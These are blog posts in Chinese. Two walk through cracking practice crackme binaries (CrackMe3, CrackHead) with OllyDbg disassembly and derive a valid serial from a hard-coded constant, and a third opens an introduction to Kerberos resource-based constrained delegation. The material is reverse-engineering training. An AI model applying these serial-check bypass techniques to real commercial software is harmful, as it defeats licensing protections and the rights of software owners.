<p>回到循环代码</p>
<div class="highlight"><pre><span></span><code><span class="err">00403</span><span class="nf">B60</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B4E</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="err">+</span><span class="mi">4</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B63</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">B5F</span><span class="w"> </span><span class="mi">04</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">EBX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDI</span><span class="err">+</span><span class="mi">4</span><span class="p">]</span>
<span class="err">00403</span><span class="nf">B66</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">39</span><span class="no">D9</span><span class="w"> </span><span class="err">|</span><span class="no">CMP</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">EBX</span>
<span class="err">00403</span><span class="nf">B68</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">4</span><span class="no">B</span><span class="w"> </span><span class="err">|</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403BB5</span>
<span class="err">00403</span><span class="nf">B6A</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">C6</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">ADD</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00403</span><span class="nf">B6D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">83</span><span class="no">C7</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="err">|</span><span class="no">ADD</span><span class="w"> </span><span class="no">EDI</span><span class="p">,</span><span class="mi">8</span>
<span class="err">00403</span><span class="nf">B70</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">4</span><span class="no">A</span><span class="w"> </span><span class="err">|</span><span class="no">DEC</span><span class="w"> </span><span class="no">EDX</span>
<span class="err">00403</span><span class="nf">B71</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">E2</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackMe3.00403B55</span>
</code></pre></div>
<p>代码逻辑和上面就是一样的了,再往后偏移4个字节,比较第5~8个字符,如果还没有比较完,就继续循环</p>
<p>这一个函数,到这里我们就算分析完了,因此我们只需要确保用户名和硬编码的字符串一致就行了,而硬编码的字符串我们是可以直接在调试器中看到的,就是EDX指向的那块内存</p>
<p><img alt="1651903113218" src="0001-crackme流程.assets/1651903113218.png"></p>
<p>现在我们已经成功通过第一个检测,来到第二个监测点</p>
<p><img alt="1651903318192" src="0001-crackme流程.assets/1651903318192.png"></p>
<p>不过由于这两个检测点使用的是同一个函数,只是参数不同而已,所以我们只需要将序列号改为硬编码的序列号即可</p>
<p><img alt="1651903408474" src="0001-crackme流程.assets/1651903408474.png"></p>
<p>简简单单,完事儿!!!</p>crackme之CrackHead破解流程2022-05-07T00:00:00+02:002022-05-07T00:00:00+02:0012138tag:None,2022-05-07:crackmezhi-crackheadpo-jie-liu-cheng.html<p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21330.htm">https://bbs.pediy.com/thread-21330.htm</a></li>
</ul>
<p>如果要密码,就是1</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/crackhead_2.7z">要破解的二进制文件</a></p>
<p><img alt="1651910118691" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/SQHlLhxcLm.jpg"></p>
<p>这回情况和上次那个程序稍有不同,没有任何提示字符串,我们 …</p><p>references:</p>
<ul>
<li><a href="https://bbs.pediy.com/thread-21330.htm">https://bbs.pediy.com/thread-21330.htm</a></li>
</ul>
<p>如果要密码,就是1</p>
<p><a href="https://gitee.com/wochinijiamile/smartya/blob/master/crackhead_2.7z">要破解的二进制文件</a></p>
<p><img alt="1651910118691" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/SQHlLhxcLm.jpg"></p>
<p>这回情况和上次那个程序稍有不同,没有任何提示字符串,我们只能在系统API函数调用处下端点</p>
<p>windows GUI程序的<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/124631836?spm=1001.2014.3001.5502">常用于下断点的API函数</a></p>
<p>使用OllyDBG加载程序之后,Ctrl+N获取当前程序引入的所有库函数</p>
<p><img alt="1651910570406" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/LgCEgIJhMR.jpg"></p>
<p>其中有一个<code>GetWinTextA</code>,这个函数用于获取指定窗口中的字符串,可以用来下断点,选中这个函数右键下断点即可</p>
<p><img alt="1651910612591" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/OrZDPZiuLp.jpg"></p>
<p>可以看到,与该函数相关的指令都会被下断点,这两个断点对我们来说都没啥用,我们直接删除掉即可,然后在<code>00401323</code>的下一个位置下断点,也就是<code>00401328</code>,这个才是CrackHead程序的代码</p>
<p>我们跟入这个call即可</p>
<p><img alt="1651910838366" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/TZsCkrOhQy.jpg"></p>
<p>该函数的代码:</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">D2</span><span class="w"> </span><span class="err">/</span><span class="no">$</span><span class="w"> </span><span class="mi">56</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">D3</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">C0</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EAX</span>
<span class="err">004013</span><span class="nf">D5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D35</span><span class="w"> </span><span class="no">C4334000</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">4033</span><span class="no">C4</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">DB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">C9</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">ECX</span>
<span class="err">004013</span><span class="nf">DD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">33</span><span class="no">D2</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EDX</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">004013</span><span class="nf">DF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">A06</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">E1</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="no">INC</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">E2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">3</span><span class="no">C</span><span class="w"> </span><span class="mi">2</span><span class="no">D</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">2</span><span class="no">D</span>
<span class="err">004013</span><span class="nf">E4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013EE</span>
<span class="err">004013</span><span class="nf">E6</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">BA</span><span class="w"> </span><span class="no">FFFFFFFF</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">EDX</span><span class="p">,-</span><span class="mi">1</span>
<span class="err">004013</span><span class="nf">EB</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">A06</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">ED</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="no">INC</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">EE</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">EB</span><span class="w"> </span><span class="mi">0</span><span class="no">B</span><span class="w"> </span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013FB</span>
<span class="err">004013</span><span class="nf">F0</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">2</span><span class="no">C</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="err">/</span><span class="no">SUB</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">30</span>
<span class="err">004013</span><span class="nf">F2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D0C89</span><span class="w"> </span><span class="err">|</span><span class="no">LEA</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ECX</span><span class="err">+</span><span class="no">ECX</span><span class="p">*</span><span class="mi">4</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">F5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D0C48</span><span class="w"> </span><span class="err">|</span><span class="no">LEA</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EAX</span><span class="err">+</span><span class="no">ECX</span><span class="p">*</span><span class="mi">2</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">F8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">A06</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">FA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="err">|</span><span class="no">INC</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">FB</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">0</span><span class="no">AC0</span><span class="w"> </span><span class="no">OR</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">AL</span>
<span class="err">004013</span><span class="nf">FD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">F1</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013F0</span>
<span class="err">004013</span><span class="nf">FF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D040A</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDX</span><span class="err">+</span><span class="no">ECX</span><span class="p">]</span>
<span class="err">00401402</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">C2</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401404</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">5</span><span class="nf">E</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">00401405</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">81</span><span class="nf">F6</span><span class="w"> </span><span class="mi">53757</span><span class="no">A79</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">797</span><span class="no">A7553</span>
<span class="err">0040140</span><span class="nf">B</span><span class="w"> </span><span class="err">\</span><span class="p">.</span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
</code></pre></div>
<p>第三行中<code>4033C4</code>是序列号字符串的地址,是由之前的函数调用<code>GetWindowTextA</code>获取的</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">D5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D35</span><span class="w"> </span><span class="no">C4334000</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">4033</span><span class="no">C4</span><span class="p">]</span>
</code></pre></div>
<p>现在ESI指向序列号</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">DF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">A06</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">E1</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="no">INC</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">E2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">3</span><span class="no">C</span><span class="w"> </span><span class="mi">2</span><span class="no">D</span><span class="w"> </span><span class="no">CMP</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">2</span><span class="no">D</span>
<span class="err">004013</span><span class="nf">E4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013EE</span>
</code></pre></div>
<p>获取第一个序列号,然后ESI往后偏移1,如果第一个字符不是<code>-</code>(ascii为2D),则跳转</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">EE</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="no">EB</span><span class="w"> </span><span class="mi">0</span><span class="no">B</span><span class="w"> </span><span class="no">JMP</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013FB</span>
</code></pre></div>
<p>接着跳</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">FB</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">0</span><span class="no">AC0</span><span class="w"> </span><span class="no">OR</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">AL</span>
<span class="err">004013</span><span class="nf">FD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">F1</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013F0</span>
</code></pre></div>
<p>AL不为0就跳</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">F0</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">2</span><span class="no">C</span><span class="w"> </span><span class="mi">30</span><span class="w"> </span><span class="err">/</span><span class="no">SUB</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="mi">30</span>
<span class="err">004013</span><span class="nf">F2</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D0C89</span><span class="w"> </span><span class="err">|</span><span class="no">LEA</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ECX</span><span class="err">+</span><span class="no">ECX</span><span class="p">*</span><span class="mi">4</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">F5</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D0C48</span><span class="w"> </span><span class="err">|</span><span class="no">LEA</span><span class="w"> </span><span class="no">ECX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EAX</span><span class="err">+</span><span class="no">ECX</span><span class="p">*</span><span class="mi">2</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">F8</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">A06</span><span class="w"> </span><span class="err">|</span><span class="no">MOV</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">BYTE</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">ESI</span><span class="p">]</span>
<span class="err">004013</span><span class="nf">FA</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">46</span><span class="w"> </span><span class="err">|</span><span class="no">INC</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">004013</span><span class="nf">FB</span><span class="w"> </span><span class="err">|></span><span class="w"> </span><span class="mi">0</span><span class="no">AC0</span><span class="w"> </span><span class="no">OR</span><span class="w"> </span><span class="no">AL</span><span class="p">,</span><span class="no">AL</span>
<span class="err">004013</span><span class="nf">FD</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="err">^</span><span class="mi">75</span><span class="w"> </span><span class="no">F1</span><span class="w"> </span><span class="err">\</span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013F0</span>
</code></pre></div>
<p>先减去0x30,下面两个LEA指令相当于<code>ECX=ECX*10+EAX</code>,不过在这个循环里,ECX并没有什么作用,整个循环就是对序列号进行遍历,直到读完(最后的结束标志符0x00)</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">FF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D040A</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDX</span><span class="err">+</span><span class="no">ECX</span><span class="p">]</span>
<span class="err">00401402</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">C2</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EDX</span>
<span class="err">00401404</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">5</span><span class="nf">E</span><span class="w"> </span><span class="no">POP</span><span class="w"> </span><span class="no">ESI</span>
<span class="err">00401405</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">81</span><span class="nf">F6</span><span class="w"> </span><span class="mi">53757</span><span class="no">A79</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="mi">797</span><span class="no">A7553</span>
<span class="err">0040140</span><span class="nf">B</span><span class="w"> </span><span class="err">\</span><span class="p">.</span><span class="w"> </span><span class="no">C3</span><span class="w"> </span><span class="no">RETN</span>
</code></pre></div>
<p>循环完成后,执行了四条指令,就返回了,现在我并不清楚这四条指令的作用</p>
<p><img alt="1651912694057" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/vZUYGLVDMa.jpg"></p>
<p>函数返回后,对EAX和ESI寄存器进行了比较,如果两者不相等,就会跳走,继续执行程序会发现没有任何反应,这显然不是我们想要的,我们不希望程序跳走,我们想让他执行下面的那条JMP指令,显然这个JMP跳到的地方有更多的东西</p>
<p>因此,我们需要确保在函数执行完成后,EAX和ESI的值是相等的</p>
<p>通过调试器可以看到,ESI的初始值是0,且函数的第一行代码就对ESI的值进行了保存</p>
<p><img alt="1651912968818" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/FBOyBkFcGJ.jpg"></p>
<p>在函数返回的时候,取出ESI的值和<code>0x797A7553</code>进行异或,那么无论如何,函数返回的时候ESI的值一定会变成<code>0x797A7553</code>,现在我们的问题就是如何控制AX也是这个值</p>
<p>在函数一开始的地方</p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">E4</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">75</span><span class="w"> </span><span class="mi">08</span><span class="w"> </span><span class="no">JNZ</span><span class="w"> </span><span class="no">SHORT</span><span class="w"> </span><span class="no">CrackHea.004013EE</span>
</code></pre></div>
<p>这条指令是否执行只会影响EDX的值,如果这条指令没执行,那么EDX的值就会变成<code>0xffffffff</code></p>
<p>但是,我并没有办法输入<code>-</code>,所以这条指令肯定会执行,也就是说EDX的值肯定是0,那么在最后和EAX进行异或运算的时候,EDX是完全没有影响的,异或完之后,EAX的值是不会变的</p>
<p>现在就是要想办法,怎么把EAX的值弄成<code>0x797A7553</code></p>
<p>现在的问题就是要循环多少次,每次EAX的值应该是多少,才能在循环结束之后,ECX的值为<code>0x797A7553</code>,因为在EDX为0的情况下,下面这两条指令完成后,其实就是<code>MOV EAX, ECX</code></p>
<div class="highlight"><pre><span></span><code><span class="err">004013</span><span class="nf">FF</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="mi">8</span><span class="no">D040A</span><span class="w"> </span><span class="no">LEA</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="no">EDX</span><span class="err">+</span><span class="no">ECX</span><span class="p">]</span>
<span class="err">00401402</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">33</span><span class="nf">C2</span><span class="w"> </span><span class="no">XOR</span><span class="w"> </span><span class="no">EAX</span><span class="p">,</span><span class="no">EDX</span>
</code></pre></div>
<p>刚测试了一下,输入框允许的最大长度为21,EAX的值一共存在10种可能(0~9)</p>
<p>也就是说最多存在<code>10^21</code>个组合,这太大了,显然是爆破不出来的</p>
<p>仔细观察一下代码,可以发现下面这个表达式:</p>
<div class="highlight"><pre><span></span><code>ECX=ECX*10+EAX
</code></pre></div>
<p>而由于EAX每次在运算之前会减去0x30,因此EAX的值就是我们在程序中输入的序列号种的字符</p>
<p><code>0x797A7553</code>的10进制形式为2038068563,而ECX的初始值为0,第一次循环,ECX的值就是EAX的值,第二次循环,ECX的值是之前的EAX的值乘以10加上当前EAX的值,很明显,我们只需要将序列号设置为<code>2038068563</code>即可</p>
<p><img alt="1651912968818" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/HaeBIncSoN.jpg"></p>
<p>弹出的对话框提示我们编写一个序列号生成器,而且程序提示说每台电脑上的序列号都不一样</p>
<p>刚才把这个程序放到了其他机器上,输入这个序列号,结果还是这个对话框</p>
<p>又换了一台机器,还是这个样子,不管了,既然他这么说了,我就看一下</p>
<p><a href="http://144.34.164.217/crackmezhi-crackheadzhu-ce-ji.html">破案了</a></p>
<p>很明显<code>0x797A7553</code>就是硬编码,唯一可能会影响到ESI值的因素就是在调用检验函数之前的代码</p>
<div class="highlight"><pre><span></span><code><span class="err">00401310</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">8</span><span class="nf">B35</span><span class="w"> </span><span class="mi">9</span><span class="no">C334000</span><span class="w"> </span><span class="no">MOV</span><span class="w"> </span><span class="no">ESI</span><span class="p">,</span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">40339</span><span class="no">C</span><span class="p">]</span>
<span class="err">00401316</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">6</span><span class="nf">A</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="mi">28</span><span class="w"> </span><span class="c1">; /Count = 28 (40.)</span>
<span class="err">00401318</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="err">68</span><span class="w"> </span><span class="nf">C4334000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">CrackHea.004033C4</span><span class="w"> </span><span class="c1">; |Buffer = CrackHea.004033C4</span>
<span class="err">0040131</span><span class="nf">D</span><span class="w"> </span><span class="err">|</span><span class="p">.</span><span class="w"> </span><span class="no">FF35</span><span class="w"> </span><span class="mi">90314000</span><span class="w"> </span><span class="no">PUSH</span><span class="w"> </span><span class="no">DWORD</span><span class="w"> </span><span class="no">PTR</span><span class="w"> </span><span class="no">DS</span><span class="p">:[</span><span class="mi">403190</span><span class="p">]</span><span class="w"> </span><span class="c1">; |hWnd = 00070812 (class='Edit',parent=00090814)</span>
<span class="err">00401323</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">E8</span><span class="w"> </span><span class="mi">4</span><span class="no">C010000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="err"><</span><span class="no">JMP.</span><span class="err">&</span><span class="no">USER32.GetWindowTextA</span><span class="err">></span><span class="w"> </span><span class="c1">; \GetWindowTextA</span>
<span class="err">00401328</span><span class="w"> </span><span class="err">|.</span><span class="w"> </span><span class="nf">E8</span><span class="w"> </span><span class="no">A5000000</span><span class="w"> </span><span class="no">CALL</span><span class="w"> </span><span class="no">CrackHea.004013D2</span>
</code></pre></div>
<p>就是上面代码中的第一行,这个<code>0x40339C</code>也是硬编码,但是这块内存中的值可能会在不同的机器上有不同的值,这里触及到我的知识盲区了,就到这儿吧</p>
<p>告辞!!</p>Kerberos基于资源的约束委派2022-03-02T00:00:00+01:002022-03-02T00:00:00+01:0012138tag:None,2022-03-02:kerberosji-yu-zi-yuan-de-yue-shu-wei-pai.html<p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity">ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute</a></li>
</ul>
<p>约定:</p>
<ul>
<li>RBCD:Resource Based Constrained Delegation——基于资源的约束委派</li>
<li>ataob2oi:msDS-AllowedToActOnBehalfOfOtherIdentity</li>
<li>S4U请求:如果没有特殊说明,那么指的就是S4U2self和S4U2proxy这两个请求</li>
</ul>
<h1>0x1 简介</h1>
<p><strong>RBCD在Windows 2012才引入,08是没有这个概念的</strong></p>
<p>RBCD和之前介绍的<a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html">约束委派</a>的区 …</p><p>references:</p>
<ul>
<li><a href="https://docs.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity">ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity attribute</a></li>
</ul>
<p>约定:</p>
<ul>
<li>RBCD:Resource Based Constrained Delegation——基于资源的约束委派</li>
<li>ataob2oi:msDS-AllowedToActOnBehalfOfOtherIdentity</li>
<li>S4U请求:如果没有特殊说明,那么指的就是S4U2self和S4U2proxy这两个请求</li>
</ul>
<h1>0x1 简介</h1>
<p><strong>RBCD在Windows 2012才引入,08是没有这个概念的</strong></p>
<p>RBCD和之前介绍的<a href="http://144.34.164.217/kerberosyue-shu-wei-pai-ji-li-yong.html">约束委派</a>的区别就是,约束是在资源服务器上进行配置的,传统的约束委派中,资源服务器只能被动的接受委派,是否能够委派到资源服务器由委派服务器进行控制</p>
<p>RBCD可以通过<code>msDS-AllowedToActOnBehalfOfOtherIdentity</code>属性来控制委派服务器是否能够委派任意用户来访问自己</p>
